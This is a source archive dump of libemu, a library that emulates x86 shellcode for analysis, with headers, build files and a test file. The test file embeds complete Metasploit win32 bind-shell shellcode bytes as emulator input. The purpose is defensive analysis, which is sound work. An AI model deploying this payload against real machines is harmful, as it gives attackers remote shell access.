attach your own data * * @see emu_edge * @see emu_graph */ struct emu_vertex { void *data; emu_edge_root *edges; emu_vertex_link link; enum emu_color color; emu_edge_root *backedges; uint32_t backlinks; uint32_t distance; }; struct emu_vertex *emu_vertex_new(void); void emu_vertex_free(struct emu_vertex *ev); void emu_vertex_data_set(struct emu_vertex *ev, void *data); void *emu_vertex_data_get(struct emu_vertex *ev); struct emu_edge *emu_vertex_edge_add(struct emu_vertex *ev, struct emu_vertex *to); typedef void (*emu_graph_destructor)(void *data); struct emu_graph { emu_vertex_root *vertexes; emu_graph_destructor vertex_destructor; }; struct emu_graph *emu_graph_new(void); void emu_graph_free(struct emu_graph *eg); void emu_graph_vertex_add(struct emu_graph *eg, struct emu_vertex *ev); bool emu_graph_path_exists(struct emu_graph *eg, struct emu_vertex *from, struct emu_vertex *to); bool emu_graph_loop_detect(struct emu_graph *eg, struct emu_vertex *from); int32_t emu_graph_distance(struct emu_graph *eg, struct emu_vertex *from, struct emu_vertex *to); libemu-0.2.0+git20120122+564/include/emu/emu_string.h0000644000175300017530000000423111706767213020601 0ustar dt-npbdt-npb/******************************************************************************** * libemu * * - x86 shellcode emulation - * * * Copyright (C) 2007 Paul Baecher & Markus Koetter * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. * * * contact nepenthesdev@users.sourceforge.net * *******************************************************************************/ #ifndef HAVE_EMU_STRING_H #define HAVE_EMU_STRING_H #include #include /** * The struct used for the string implementation. */ struct emu_string { uint32_t size; void *data; uint32_t allocated; }; /** * Create a new, empty string. * * @return on success, pointer to the new and empty string, on failure NULL */ struct emu_string *emu_string_new(void); /** * Free the string, free the bytes which got allocated. * * @param s the string to free */ void emu_string_free(struct emu_string *s); /** * cast the string to char * * * @param s the string * * @return char * of the string */ char *emu_string_char(struct emu_string *s); /** * append the string by some data * * @param s the string * @param data the data to append */ void emu_string_append_char(struct emu_string *s, const char *data); /** * append the string by some formatted string * * @param s the string * @param format the format */ void emu_string_append_format(struct emu_string *s, const char *format, ...); #endif libemu-0.2.0+git20120122+564/include/emu/Makefile.am0000644000175300017530000000204211706767213020306 0ustar dt-npbdt-npb# $Id$ AUTOMAKE_OPTIONS = foreign SUBDIRS = environment includedir = $(prefix)/include/emu include_HEADERS = emu.h include_HEADERS += emu_cpu_data.h include_HEADERS += emu_cpu_functions.h include_HEADERS += emu_cpu.h include_HEADERS += emu_cpu_instruction.h include_HEADERS += emu_cpu_itables.h include_HEADERS += emu_cpu_stack.h include_HEADERS += emu_fpu_instruction.h include_HEADERS += emu_getpc.h include_HEADERS += emu_graph.h include_HEADERS += emu_hashtable.h include_HEADERS += emu_instruction.h include_HEADERS += emu_list.h include_HEADERS += emu_log.h include_HEADERS += emu_memory.h include_HEADERS += emu_queue.h include_HEADERS += emu_shellcode.h include_HEADERS += emu_source.h include_HEADERS += emu_stack.h include_HEADERS += emu_string.h include_HEADERS += emu_track.h #include_HEADERS = emu.h #include_HEADERS += emu_log.h #include_HEADERS += emu_cpu.h #include_HEADERS += emu_memory.h #noinst_HEADERS = emu_cpu_data.h #noinst_HEADERS += emu_cpu_functions.h #noinst_HEADERS += emu_cpu_itables.h #noinst_HEADERS += emu_cpu_stack.h libemu-0.2.0+git20120122+564/include/emu/emu_hashtable.h0000644000175300017530000001135511706767213021233 0ustar dt-npbdt-npb/******************************************************************************** * libemu * * - x86 shellcode emulation - * * * Copyright (C) 2007 Paul Baecher & Markus Koetter * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. * * * contact nepenthesdev@users.sourceforge.net * *******************************************************************************/ #ifndef EMU_HASHTABLE_H #define EMU_HASHTABLE_H #include #include /** * The emu_hashtable_item stores the key/value pair. * * @see emu_hashtable * @see emu_hashtable_bucket_item */ struct emu_hashtable_item { void *key; void *value; }; typedef bool (*emu_hashtable_cmp_cb)(void *a, void *b); typedef uint32_t (*emu_hashtable_hash_cb)(void *key); typedef void (*emu_hashtable_destructor)(void *data); header_list_typedefs(emu_hashtable_bucket_item_root,emu_hashtable_bucket_item,emu_hashtable_bucket_link); struct emu_hashtable_bucket_item { struct emu_hashtable_item item; emu_hashtable_bucket_link link; }; header_list_functions(emu_hashtable_bucket_items,emu_hashtable_bucket_item_root, emu_hashtable_bucket_item, link); struct emu_hashtable_bucket_item *emu_hashtable_bucket_item_new(void *key, void *value); void emu_hashtable_bucket_item_free(struct emu_hashtable_bucket_item *ehbi); struct emu_hashtable_bucket { emu_hashtable_bucket_item_root *items; }; struct emu_hashtable_bucket *emu_hashtable_bucket_new(void); void emu_hashtable_bucket_free(struct emu_hashtable_bucket *ehb); void emu_hashtable_bucket_item_add(struct emu_hashtable_bucket *ehb, struct emu_hashtable_bucket_item *ehbi); /** * the hashtable * * @see emu_hashtable_new * @see emu_hashtable_free * @see emu_hashtable_insert * @see emu_hashtable_delete * @see emu_hashtable_search */ struct emu_hashtable { uint32_t size; uint32_t filled; uint32_t item_count; struct emu_hashtable_bucket **buckets; emu_hashtable_hash_cb hash; emu_hashtable_cmp_cb cmp; emu_hashtable_destructor key_destructor; emu_hashtable_destructor value_destructor; }; /** * Create a bucket hashtable * Due to the problems of double hashing when it comes to deleting * elements we choose bucket hashtables. * If used wrong, as slow als linked lists, if used right, as fast as a * real (doublehash) hashtable. * * @param size the size * @param hash pointer to the hash function * @param cmp pointer to the compare function * * @return on success, pointer to the hashtable * on failure, NULL */ struct emu_hashtable *emu_hashtable_new(uint32_t size, emu_hashtable_hash_cb hash, emu_hashtable_cmp_cb cmp); /** * Free the hashtable, * if the emu_hashtable_destructors key_/value_destructor * within the emu_hashtable are set, freeing the hashtable will free the * data too, if not, only the hashtable itself is free'd. * * @param eh the hashtable */ void emu_hashtable_free(struct emu_hashtable *eh); /** * Search the hashtable for a key * * @param eh the hashtable * @param key the key to look for * * @return on success, pointer to the emu_hashtable_item holding the data * on failure (key not found), NULL */ struct emu_hashtable_item *emu_hashtable_search(struct emu_hashtable *eh, void *key); /** * Insert a key/data pair into the hashtable * * @param eh the hashtable * @param key the key * @param data the data * * @return on success: pointer to the emu_hashtable_item * on failure: NULL */ struct emu_hashtable_item *emu_hashtable_insert(struct emu_hashtable *eh, void *key, void *data); /** * delete a key/data pair from the hashtable * * @param eh the hashtable * @param key the key to the key/data pair to remove * * @return on success: true * on failure: false */ bool emu_hashtable_delete(struct emu_hashtable *eh, void *key); uint32_t emu_hashtable_string_hash(void *data); bool emu_hashtable_string_cmp(void *a, void *b); uint32_t emu_hashtable_ptr_hash(void *data); bool emu_hashtable_ptr_cmp(void *a, void *b); #endif // EMU_HASHTABLE_H libemu-0.2.0+git20120122+564/include/emu/emu_stack.h0000644000175300017530000000307711706767213020407 0ustar dt-npbdt-npb/******************************************************************************** * libemu * * - x86 shellcode emulation - * * * Copyright (C) 2008 Paul Baecher & Markus Koetter * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. * * * contact nepenthesdev@users.sourceforge.net * *******************************************************************************/ #ifndef HAVE_EMU_STACK_H #define HAVE_EMU_STACK_H struct emu_stack_item { struct emu_stack_item *next; void *data; }; struct emu_stack { struct emu_stack_item *front; struct emu_stack_item *back; }; struct emu_stack *emu_stack_new(void); void emu_stack_free(struct emu_stack *es); void *emu_stack_front(struct emu_stack *es); void emu_stack_push(struct emu_stack *es, void *data); void *emu_stack_pop(struct emu_stack *es); bool emu_stack_empty(struct emu_stack *es); #endif libemu-0.2.0+git20120122+564/include/emu/emu_list.h0000644000175300017530000003364111706767213020255 0ustar dt-npbdt-npb/******************************************************************************** * libemu * * - x86 shellcode emulation - * * * Copyright (C) 2007 Paul Baecher & Markus Koetter * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. * * * contact nepenthesdev@users.sourceforge.net * *******************************************************************************/ #ifndef HAVE_EMU_LIST_H #define HAVE_EMU_LIST_H #include #include #include #include /* credit http://dotat.at/prog/lists/list.h * $Copyright: (C) 2001, 2002 Tony Finch $ */ #define xalloc malloc #define xfree(ptr, size) free(ptr) #define list__magic(ptr, t_src, src_field, t_dst, dst_field) \ ((t_dst *)( (char *)(ptr) \ + offsetof(t_src, src_field) \ - offsetof(t_dst, dst_field) )) #define header_list_types(root_tag, elem_tag, link_tag) \ \ struct link_tag { struct elem_tag *next, *prev; }; \ struct root_tag { struct link_tag head, tail; }; \ \ struct list__hack #define header_list_typedefs(t_root, t_elem, t_link) \ \ header_list_types(t_root, t_elem, t_link); \ \ typedef struct t_root t_root; \ typedef struct t_elem t_elem; \ typedef struct t_link t_link; \ \ struct list__hack #define header_list_functions(name, t_root, t_elem, link) \ \ /* internal pointer magic utilities */ \ /* static inline */ t_elem *name##__head2elem(t_root *root); \ /* static inline */ t_elem *name##__tail2elem(t_root *root); \ /* static inline */ t_root *name##__elem2head(t_elem *elem); \ /* static inline */ t_root *name##__elem2tail(t_elem *elem); \ \ /* initializers */ \ /* static inline */ void name##_init(t_root *root); \ /* static inline */ void name##_init_link(t_elem *elem); \ \ /* accessor functions */ \ /* static inline */ t_elem *name##_first(t_root *root); \ /* static inline */ t_elem *name##_last(t_root *root); \ /* static inline */ t_elem *name##_next(t_elem *elem); \ /* static inline */ t_elem *name##_prev(t_elem *elem); \ \ /* predicates */ \ /* static inline */ bool name##_empty(t_root *root); \ /* static inline */ bool name##_iselem(t_elem *elem); \ /* static inline */ bool name##_ishead(t_elem *elem); \ /* static inline */ bool name##_istail(t_elem *elem); \ /* static inline */ bool name##_isunlinked(t_elem *elem); \ \ /* faster but less safe predicates for looping */ \ /* static inline */ bool name##_athead(t_elem *elem); \ /* static inline */ bool name##_attail(t_elem *elem); \ \ /* slightly more complicated predicates */ \ /* static inline */ bool name##_isfirst(t_elem *elem); \ /* static inline */ bool name##_islast(t_elem *elem); \ \ /* internal list manipulation */ \ /* static inline */ void name##__splice_before(t_elem *elem, t_elem *newX0, t_elem *newXN); \ /* static inline */ void name##__splice_after(t_elem *elem, t_elem *newX0, t_elem *newXN); \ /* static inline */ void name##__unsplice(t_elem *old0, t_elem *oldN); \ \ /* single element manipulation */ \ /* static inline */ void name##_insert_before(t_elem *elem, t_elem *newX); \ /* static inline */ void name##_insert_after(t_elem *elem, t_elem *newX); \ /* static inline */ void name##_insert_first(t_root *root, t_elem *newX); \ /* static inline */ void name##_insert_last(t_root *root, t_elem *newX); \ /* static inline */ void name##_remove(t_elem *elem); \ /* static inline */ t_elem *name##_remove_first(t_root *root); \ /* static inline */ t_elem *name##_remove_last(t_root *root); \ /* static inline */ void name##_remove_next(t_elem *elem); \ /* static inline */ void name##_remove_prev(t_elem *elem); \ \ /* concatenation etc. */ \ /* static inline */ void name##_concat(t_root *dst, t_root *src); \ \ /* safe magic for the user */ \ /* static inline */ t_root *name##_getroot(t_elem *elem); \ \ /* looping operations */ \ /* static inline */ t_root *name##_findroot_fwd(t_elem *elem); \ /* static inline */ t_root *name##_findroot_rev(t_elem *elem); \ /* static inline */ int name##_length(t_root *root); \ /* static */ void name##_qsort_r(t_root *root, void *arg, int (*cmp)(void *, t_elem *, t_elem *)); \ /* static */ int name##_qsort_cmp(void *a, t_elem *e1, t_elem *e2); \ /* static inline */ void name##_qsort(t_root *root, int (*cmp)(t_elem *, t_elem *)); \ /* static inline */ t_root *name##_create(void); \ /* static inline */ void name##_destroy(t_root *root); \ struct list__hack /*! * \brief Define a list's operations. * * \param name The name of the list * (written NAME in the function documentation). * \param t_root The name of the type of the list's root. * \param t_elem The name of the type of the list's elements. * \param link The name of the link structure in each element. * * \hideinitializer */ #define source_list_functions(name, t_root, t_elem, link) \ \ /* internal pointer magic utilities */ \ /* static inline */ t_elem *name##__head2elem(t_root *root) { \ return(list__magic(root, t_root, head, t_elem, link)); \ } \ /* static inline */ t_elem *name##__tail2elem(t_root *root) { \ return(list__magic(root, t_root, tail, t_elem, link)); \ } \ /* static inline */ t_root *name##__elem2head(t_elem *elem) { \ return(list__magic(elem, t_elem, link, t_root, head)); \ } \ /* static inline */ t_root *name##__elem2tail(t_elem *elem) { \ return(list__magic(elem, t_elem, link, t_root, tail)); \ } \ \ /* initializers */ \ /* static inline */ void name##_init(t_root *root) { \ root->head.next = name##__tail2elem(root); \ root->head.prev = root->tail.next = NULL; \ root->tail.prev = name##__head2elem(root); \ } \ /* static inline */ void name##_init_link(t_elem *elem) { \ elem->link.next = elem->link.prev = NULL; \ } \ \ /* accessor functions */ \ /* static inline */ t_elem *name##_first(t_root *root) { \ return(root->head.next); \ } \ /* static inline */ t_elem *name##_last(t_root *root) { \ return(root->tail.prev); \ } \ /* static inline */ t_elem *name##_next(t_elem *elem) { \ return(elem->link.next); \ } \ /* static inline */ t_elem *name##_prev(t_elem *elem) { \ return(elem->link.prev); \ } \ \ /* predicates */ \ /* static inline */ bool name##_empty(t_root *root) { \ return(root->head.next->link.next == NULL); \ } \ /* static inline */ bool name##_iselem(t_elem *elem) { \ return(elem->link.next != NULL && elem->link.prev != NULL); \ } \ /* static inline */ bool name##_ishead(t_elem *elem) { \ return(elem->link.next != NULL && elem->link.prev == NULL); \ } \ /* static inline */ bool name##_istail(t_elem *elem) { \ return(elem->link.next == NULL && elem->link.prev != NULL); \ } \ /* static inline */ bool name##_isunlinked(t_elem *elem) { \ return(elem->link.next == NULL && elem->link.prev == NULL); \ } \ /* faster but less safe predicates for looping */ \ /* static inline */ bool name##_athead(t_elem *elem) { \ return(elem->link.prev == NULL); \ } \ /* static inline */ bool name##_attail(t_elem *elem) { \ return(elem->link.next == NULL); \ } \ /* slightly more complicated predicates */ \ /* static inline */ bool name##_isfirst(t_elem *elem) { \ return(name##_athead(name##_prev(elem))); \ } \ /* static inline */ bool name##_islast(t_elem *elem) { \ return(name##_attail(name##_next(elem))); \ } \ \ /* internal list manipulation */ \ /* static inline */ void name##__splice_before \ (t_elem *elem, t_elem *newX0, t_elem *newXN) { \ newX0->link.prev = elem->link.prev; \ newXN->link.next = elem; \ elem->link.prev->link.next = newX0; \ elem->link.prev = newXN; \ } \ /* static inline */ void name##__splice_after \ (t_elem *elem, t_elem *newX0, t_elem *newXN) { \ newXN->link.next = elem->link.next; \ newX0->link.prev = elem; \ elem->link.next->link.prev = newXN; \ elem->link.next = newX0; \ } \ /* static inline */ void name##__unsplice(t_elem *old0, t_elem *oldN) { \ old0->link.prev->link.next = oldN->link.next; \ oldN->link.next->link.prev = old0->link.prev; \ } \ \ /* single element manipulation */ \ /* static inline */ void name##_insert_before(t_elem *elem, t_elem *newX) { \ name##__splice_before(elem, newX, newX); \ } \ /* static inline */ void name##_insert_after(t_elem *elem, t_elem *newX) { \ name##__splice_after(elem, newX, newX); \ } \ /* static inline */ void name##_insert_first(t_root *root, t_elem *newX) { \ name##_insert_before(root->head.next, newX); \ /* or name##_insert_after(name##__head2elem(root), newX); */ \ } \ /* static inline */ void name##_insert_last(t_root *root, t_elem *newX) { \ name##_insert_after(root->tail.prev, newX); \ /* or name##_insert_before(name##__tail2elem(root), newX); */ \ } \ /* static inline */ void name##_remove(t_elem *elem) { \ name##__unsplice(elem, elem); \ name##_init_link(elem); \ } \ /* static inline */ t_elem *name##_remove_first(t_root *root) { \ t_elem *elem = name##_first(root); \ if(name##_attail(elem)) return(NULL); \ name##_remove(elem); \ return(elem); \ } \ /* static inline */ t_elem *name##_remove_last(t_root *root) { \ t_elem *elem = name##_last(root); \ if(name##_athead(elem)) return(NULL); \ name##_remove(elem); \ return(elem); \ } \ /* static inline */ void name##_remove_next(t_elem *elem) { \ elem = name##_next(elem); \ if(!name##_attail(elem)) name##_remove(elem); \ } \ /* static inline */ void name##_remove_prev(t_elem *elem) { \ elem = name##_prev(elem); \ if(!name##_athead(elem)) name##_remove(elem); \ } \ \ /* concatenation etc. */ \ /* static inline */ void name##_concat(t_root *dst, t_root *src) { \ t_elem *elem0 = name##_first(src); \ t_elem *elemN = name##_last(src); \ if(name##_attail(elem0)) return; \ name##__unsplice(elem0, elemN); \ name##__splice_after(dst->tail.prev, elem0, elemN); \ } \ \ /* safe magic for the user */ \ /* static inline */ t_root *name##_getroot(t_elem *elem) { \ if(name##_ishead(elem)) return(name##__elem2head(elem)); \ if(name##_istail(elem)) return(name##__elem2tail(elem)); \ return(NULL); \ } \ \ /* looping operations */ \ /* static inline */ t_root *name##_findroot_fwd(t_elem *elem) { \ while(!name##_attail(elem)) \ elem = name##_next(elem); \ return(name##__elem2tail(elem)); \ } \ /* static inline */ t_root *name##_findroot_rev(t_elem *elem) { \ while(!name##_athead(elem)) \ elem = name##_prev(elem); \ return(name##__elem2head(elem)); \ } \ /* static inline */ int name##_length(t_root *root) { \ t_elem *elem; int i; \ for(elem = name##_first(root), i = 0; \ !name##_attail(elem); \ elem = name##_next(elem), i++); \ return(i); \ } \ /* static */ void name##_qsort_r(t_root *root, void *arg, \ int (*cmp)(void *, t_elem *, t_elem *)) { \ t_elem *pivot, *elem; \ t_root one, two, three; \ int c; \ \ name##_init(&one); \ name##_init(&two); \ name##_init(&three); \ \ pivot = name##_remove_first(root); \ if(pivot == NULL) return; \ name##_insert_last(&two, pivot); \ \ while(elem = name##_remove_first(root), elem != NULL) { \ c = cmp(arg, pivot, elem); \ if(c > 0) \ name##_insert_last(&one, elem); \ else \ if(c < 0) \ name##_insert_last(&three, elem); \ else \ name##_insert_last(&two, elem); \ } \ name##_qsort_r(&one, arg, cmp); \ name##_qsort_r(&three, arg, cmp); \ name##_concat(root, &one); \ name##_concat(root, &two); \ name##_concat(root, &three); \ } \ /* static */ int name##_qsort_cmp(void *a, t_elem *e1, t_elem *e2) { \ /* function pointers can't be portably cast to void pointers */ \ int (**arg)(t_elem *, t_elem *) = a; \ int (*cmp)(t_elem *, t_elem *) = *arg; \ return(cmp(e1,e2)); \ } \ /* static inline */ void name##_qsort \ (t_root *root, int (*cmp)(t_elem *, t_elem *)) { \ name##_qsort_r(root, &cmp, name##_qsort_cmp); \ } \ \ /* memory handling */ \ /* static inline */ t_root *name##_create(void) { \ t_root *root = xalloc(sizeof(*root)); \ name##_init(root); \ return(root); \ } \ /* static inline */ void name##_destroy(t_root *root) { \ t_elem *elem; \ if(root == NULL) return; \ while(elem = name##_remove_first(root), elem != NULL) \ xfree(elem, sizeof(*elem)); \ xfree(root, sizeof(*root)); \ } \ \ struct list__hack /* emu_list_* */ header_list_typedefs(emu_list_root,emu_list_item,emu_list_link); struct emu_list_item { union { void *data; uint32_t uint32; int32_t int32; char *str; }; emu_list_link link; }; header_list_functions(emu_list, emu_list_root, emu_list_item, link); struct emu_list_item *emu_list_item_create(void); #endif // HAVE_EMU_LIST_H libemu-0.2.0+git20120122+564/include/emu/emu_fpu_instruction.h0000644000175300017530000000265711706767213022540 0ustar dt-npbdt-npb/******************************************************************************** * libemu * * - x86 shellcode emulation - * * * Copyright (C) 2007 Paul Baecher & Markus Koetter * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. * * * contact nepenthesdev@users.sourceforge.net * *******************************************************************************/ #ifndef HAVE_EMU_FPU_INSTRUCTION_H #define HAVE_EMU_FPU_INSTRUCTION_H #define FPU_MOD(fpu) (fpu[1] >> 6) #define FPU_RM(fpu) (fpu[1] & 7) #define FPU_MF(fpu) ((fpu[0] >> 1) & 3) struct emu_fpu_instruction { uint16_t prefixes; uint8_t fpu_data[2]; /* TODO: split into correct fields */ uint32_t ea; uint32_t last_instr; }; #endif libemu-0.2.0+git20120122+564/include/emu/emu_track.h0000644000175300017530000001002211706767213020372 0ustar dt-npbdt-npb/******************************************************************************** * libemu * * - x86 shellcode emulation - * * * Copyright (C) 2007 Paul Baecher & Markus Koetter * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. * * * contact nepenthesdev@users.sourceforge.net * *******************************************************************************/ #ifndef HAVE_EMU_TRACK_H #define HAVE_EMU_TRACK_H #include #include struct emu; struct emu_cpu; struct emu_graph; struct emu_instruction; /** * The emu_tracking_info struct is used within the * binary backwards traversal. * The required informations about which registers * need to get initialized are stored in the struct together with the * eip value where we need to start searching. * * @see emu_shellcode_run_and_track * @see emu_source_and_track_instr_info */ struct emu_tracking_info { uint32_t eip; uint32_t eflags; uint32_t reg[8]; uint8_t fpu:1; // used to store the last_instruction information required for fnstenv }; /** * The emu_source_and_track_instr_info struct stores the register/fpu * tracking information as well as the source information * for a instruction. * Additionally the disassembly of the instruction can be stored * for debugging purposes. * * @see emu_shellcode_run_and_track */ struct emu_source_and_track_instr_info { uint32_t eip; char *instrstring; struct { struct emu_tracking_info init; struct emu_tracking_info need; } track; struct { uint8_t has_cond_pos : 1; uint32_t norm_pos; uint32_t cond_pos; } source; }; struct emu_source_and_track_instr_info *emu_source_and_track_instr_info_new(struct emu_cpu *cpu, uint32_t eip_before_instruction); void emu_source_and_track_instr_info_free(struct emu_source_and_track_instr_info *esantii); void emu_source_and_track_instr_info_free_void(void *x); bool emu_source_and_track_instr_info_cmp(void *a, void *b); uint32_t emu_source_and_track_instr_info_hash(void *key); struct emu_track_and_source { struct emu_tracking_info track; struct emu_graph *static_instr_graph; struct emu_hashtable *static_instr_table; struct emu_graph *run_instr_graph; struct emu_hashtable *run_instr_table; }; struct emu_track_and_source *emu_track_and_source_new(void); void emu_track_and_source_free(struct emu_track_and_source *et); int32_t emu_track_instruction_check(struct emu *e, struct emu_track_and_source *et); struct emu_tracking_info *emu_tracking_info_new(void); void emu_tracking_info_free(struct emu_tracking_info *eti); void emu_tracking_info_clear(struct emu_tracking_info *eti); /** * Calculate the logic difference between two instruction_infos * and store the result. * * @param a * @param b * @param result */ void emu_tracking_info_diff(struct emu_tracking_info *a, struct emu_tracking_info *b, struct emu_tracking_info *result); void emu_tracking_info_copy(struct emu_tracking_info *from, struct emu_tracking_info *to); /** * Check if a instruction can satisfy * the requirements of another instruction. * * @param a * @param b * * @return returns true if a covers the requirements of b * else false */ bool emu_tracking_info_covers(struct emu_tracking_info *a, struct emu_tracking_info *b); void emu_tracking_info_debug_print(struct emu_tracking_info *a); #endif libemu-0.2.0+git20120122+564/Makefile.am0000644000175300017530000000031011706767213016071 0ustar dt-npbdt-npb# $Id$ AUTOMAKE_OPTIONS = foreign SUBDIRS = src include testsuite doc bindings tools EXTRA_DIST = configure.ac CHANGES libemu.pc.in pkgconfigdir = /usr/lib/pkgconfig/ pkgconfig_DATA = libemu.pc libemu-0.2.0+git20120122+564/tools/0000755000175300017530000000000011706767213015203 5ustar dt-npbdt-npblibemu-0.2.0+git20120122+564/tools/Makefile.am0000644000175300017530000000006511706767213017240 0ustar dt-npbdt-npb# $Id$ AUTOMAKE_OPTIONS = foreign SUBDIRS = sctest libemu-0.2.0+git20120122+564/tools/sctest/0000755000175300017530000000000011706767213016510 5ustar dt-npbdt-npblibemu-0.2.0+git20120122+564/tools/sctest/dot.h0000644000175300017530000000066311706767213017454 0ustar dt-npbdt-npbstruct instr_vertex { uint32_t eip; struct emu_string *instr_string; struct emu_env_w32_dll *dll; struct emu_env_linux_syscall *syscall; }; struct instr_vertex *instr_vertex_new(uint32_t theeip, const char *instr_string); void instr_vertex_free(struct instr_vertex *iv); struct instr_vertex *instr_vertex_copy(struct instr_vertex *from); void instr_vertex_destructor(void *data); int graph_draw(struct emu_graph *graph); libemu-0.2.0+git20120122+564/tools/sctest/options.h0000644000175300017530000000114611706767213020356 0ustar dt-npbdt-npbstruct run_time_options { int verbose; int nasm_force; uint32_t steps; int testnumber; int getpc; char *graphfile; bool from_stdin; char *from_argos_csi; unsigned char *scode; uint32_t size; int offset; char *profile_file; bool interactive; struct { struct { char *host; int port; }connect; struct { char *host; int port; }bind; struct { struct emu_hashtable *commands; }commands; }override; }; extern struct run_time_options opts; bool cmp(void *a, void *b); uint32_t hash(void *key); bool string_cmp(void *a, void *b); uint32_t string_hash(void *key); libemu-0.2.0+git20120122+564/tools/sctest/tests.c0000644000175300017530000031257511706767213020033 0ustar dt-npbdt-npb#include "tests.h" struct instr_test tests[] = { #ifndef _NO_TESTS /* { .instr = "instr", .in_state.reg = {0,0,0,0,0,0,0,0 }, .in_state.mem_state = {0, 0}, .out_state.reg = {0,0,0,0,0,0,0,0 }, .out_state.mem_state = {0, 0}, },*/ { .instr ="win32_bind - EXITFUNC=seh LPORT=4444 Size=317 Encoder=None http://metasploit.com", .code = "\xfc\x6a\xeb\x4d\xe8\xf9\xff\xff\xff\x60\x8b\x6c\x24\x24\x8b\x45" "\x3c\x8b\x7c\x05\x78\x01\xef\x8b\x4f\x18\x8b\x5f\x20\x01\xeb\x49" "\x8b\x34\x8b\x01\xee\x31\xc0\x99\xac\x84\xc0\x74\x07\xc1\xca\x0d" "\x01\xc2\xeb\xf4\x3b\x54\x24\x28\x75\xe5\x8b\x5f\x24\x01\xeb\x66" "\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb\x03\x2c\x8b\x89\x6c\x24\x1c\x61" "\xc3\x31\xdb\x64\x8b\x43\x30\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x40" "\x08\x5e\x68\x8e\x4e\x0e\xec\x50\xff\xd6\x66\x53\x66\x68\x33\x32" "\x68\x77\x73\x32\x5f\x54\xff\xd0\x68\xcb\xed\xfc\x3b\x50\xff\xd6" "\x5f\x89\xe5\x66\x81\xed\x08\x02\x55\x6a\x02\xff\xd0\x68\xd9\x09" "\xf5\xad\x57\xff\xd6\x53\x53\x53\x53\x53\x43\x53\x43\x53\xff\xd0" "\x66\x68\x11\x5c\x66\x53\x89\xe1\x95\x68\xa4\x1a\x70\xc7\x57\xff" "\xd6\x6a\x10\x51\x55\xff\xd0\x68\xa4\xad\x2e\xe9\x57\xff\xd6\x53" "\x55\xff\xd0\x68\xe5\x49\x86\x49\x57\xff\xd6\x50\x54\x54\x55\xff" "\xd0\x93\x68\xe7\x79\xc6\x79\x57\xff\xd6\x55\xff\xd0\x66\x6a\x64" "\x66\x68\x63\x6d\x89\xe5\x6a\x50\x59\x29\xcc\x89\xe7\x6a\x44\x89" "\xe2\x31\xc0\xf3\xaa\xfe\x42\x2d\xfe\x42\x2c\x93\x8d\x7a\x38\xab" "\xab\xab\x68\x72\xfe\xb3\x16\xff\x75\x44\xff\xd6\x5b\x57\x52\x51" "\x51\x51\x6a\x01\x51\x51\x55\x51\xff\xd0\x68\xad\xd9\x05\xce\x53" "\xff\xd6\x6a\xff\xff\x37\xff\xd0\x8b\x57\xfc\x83\xc4\x64\xff\xd6" "\x52\xff\xd0\x68\xf0\x8a\x04\x5f\x53\xff\xd6\xff\xd0", .codesize = 317, .in_state.reg = {0,0x71ab675b,0x71ac4070,0,0x22ccb0,0x22cd98,0x611001a0,0x401380}, // ollydbg .in_state.mem_state = {0, 0}, }, { .instr = "win32_bind - EXITFUNC=seh LPORT=4444 Size=344 Encoder=Pex http://metasploit.com", .code = "\x33\xc9\x83\xe9\xb0\xe8\xff\xff\xff\xff\xc0\x5e\x81\x76\x0e\x47" "\x13\x2b\xc0\x83\xee\xfc\xe2\xf4\xbb\x79\xc0\x8d\xaf\xea\xd4\x3f" "\xb8\x73\xa0\xac\x63\x37\xa0\x85\x7b\x98\x57\xc5\x3f\x12\xc4\x4b" "\x08\x0b\xa0\x9f\x67\x12\xc0\x89\xcc\x27\xa0\xc1\xa9\x22\xeb\x59" 